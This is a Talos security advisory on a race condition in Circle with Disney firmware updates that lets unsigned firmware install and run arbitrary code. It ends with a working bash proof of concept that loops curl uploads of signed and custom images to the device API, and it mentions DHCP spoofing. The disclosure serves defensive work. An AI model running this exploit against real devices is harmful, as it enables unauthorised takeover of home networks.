Talos Vulnerability Report

Summary

An exploitable vulnerability exists in the signature verification of the firmware update functionality of Circle with Disney. Specially crafted network packets can cause an unsigned firmware to be installed in the device resulting in arbitrary code execution. An attacker can send a series of packets to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle provides an API command to update its firmware, which is usually used by the “Circle Home App” installed on the device administrator’s phone.

The API command is “/api/UPLOAD_FIRMWARE” and is handled by the apid binary in function sub_417528. At high level, the function works as follow:

if "/api/UPLOAD_FIRMWARE" in url_string
    if substr(source_ip, 10) != "10.123.234"
        return "Bad source address in multipart post"
    save_postfilebin()
    if check_token()
        if system("/mnt/shares/usr/bin/scripts/install_firmware.sh /tmp/postfile.bin")
            system("/mnt/update_firmware.sh &")

The function ensures that the request comes from the network “10.123.234”, then saves the uploaded firmware to “/tmp/postfile.bin” and continues the update using shell scripts.

The “install_firmware.sh” contains the following code:

#!/bin/sh
...
CIRCLE_ROOT=`cat /tmp/CIRCLE_ROOT`
if [ -s $1 ]; then
        cd /mnt;
        rm -f update_firmware.sh;
        rm -f /mnt/firmware.bin;
        cp -f $1 /mnt/firmware.bin
        if  [ -f /mnt/firmware.bin ] ; then
                mount -o remount,rw,noatime,nodiratime /dev/sda3 /mnt #remount to remove sync
                aescrypt -d -o /mnt/firmware.tar.gz /mnt/firmware.bin
                $CIRCLE_ROOT/fwverify /mnt/firmware.tar.gz > /tmp/tmp.out || exit 1;
                grep "Verified signature" /tmp/tmp.out > /dev/null  || exit 1
                gunzip -c /mnt/firmware.tar.gz | tar xf -
                rm -f /mnt/firmware.tar.gz
...

First the firmware is decrypted using aescrypt resulting in a tar archive with a 0x200 bytes signature at its end. Then this archive is verified using fwverify and if the output contains “Verified signature” then the archive is extracted in “/mnt”, allowing for overwriting most of the device binaries.

aescrypt performs a symmetric AES encryption and can be used by an attacker to create custom firmware images by using the switch “-e” in place of “-d”. Moreover, since the signature verification and the update operations are not executed atomically, a race condition exists which could allow an attacker to supply an unsigned firmware that will be flashed without verification ([A] and [B] are used to refer to two parallel requests):

1- [A] Attacker sends an original and correctly signed firmware image
2- [A] aescrypt decrypts the image in /mnt/firmware.tar.gz
3- [A] fwverify reads /mnt/firmware.tar.gz and starts the verification process

4- [B] Attacker sends a custom, non signed firmware image
5- [B] aescrypt decrypts the image in /mnt/firmware.tar.gz

6- [A] fwverify completes the verification process, which outputs "Verified signature"
7- [A] grep succeeds and /mnt/firmware.tar.gz (from request B) is extracted in /mnt

Exploit Proof-of-Concept

The following proof of concept shows how to load an arbitrary unsigned firmware “firmware.cust.bin”. An original, signed, firmware must exist as “firmware.orig.bin”. An attacker needs to be able to send requests from a “10.123.234” IP address (e.g. by spoofing the local network dhcp server responses) and use a valid token in order to trigger the vulnerability.

#!/bin/bash

sIP=10.123.234.227
sToken="<fill with valid token>"
sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
cmd="curl -m20 -k https://$sIP:4567/api/UPLOAD_FIRMWARE -F 'token=${sToken}' -F 'appid=${sAppid}' -F upload=@"
while true; do
  ${cmd}firmware.orig.bin &
  sleep 4
  ${cmd}firmware.cust.bin
done%  

Timeline

2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release